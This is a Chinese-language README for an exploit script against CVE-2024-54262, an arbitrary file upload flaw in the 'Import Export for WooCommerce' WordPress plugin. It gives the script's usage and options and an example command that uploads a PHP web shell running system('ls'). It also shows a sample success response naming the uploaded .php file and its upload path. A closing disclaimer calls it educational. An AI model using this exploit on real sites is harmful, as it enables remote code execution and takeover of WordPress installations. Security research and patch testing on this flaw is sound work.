利用CVE-2024-54262漏洞:WooCommerce导入导出插件中的任意文件上传
此脚本利用WordPress插件"Import Export for WooCommerce"中的漏洞。该漏洞允许未授权用户上传任意文件,可能导致远程代码执行(RCE)。
requestsargparse使用以下命令安装依赖:
pip install requests
usage: CVE-2024-54262.py [-h] --url URL --username USERNAME --password PASSWORD [--command COMMAND]
Exploit CVE-2024-54262: Arbitrary File Upload in Import Export for WooCommerce
options:
-h, --help show this help message and exit
--url URL, -u URL Base URL of the WordPress site
--username USERNAME, -un USERNAME
Username for login
--password PASSWORD, -p PASSWORD
Password for login
--command COMMAND, -c COMMAND
PHP shell code to upload
CVE-2024-54262.py --url https://example.com --username admin --password admin --command "<?php system('ls'); ?>"
{
"status": true,
"code": 104,
"message": "Success",
"data": {
"file_name": "import_manual_1737090262.php",
"total_requests": 1,
"import_columns": "all",
"product_search_type": "SKU",
"product_operation": "create_new_update_existing",
"field_separator": ","
}
}
import_manual_1737090262.phpwp-content/uploads/import-export-for-woocommerce/product/此工具仅用于教育目的。作者不对任何滥用或由此脚本造成的损害负责。未经明确许可擅自访问或利用系统是非法的且不道德的。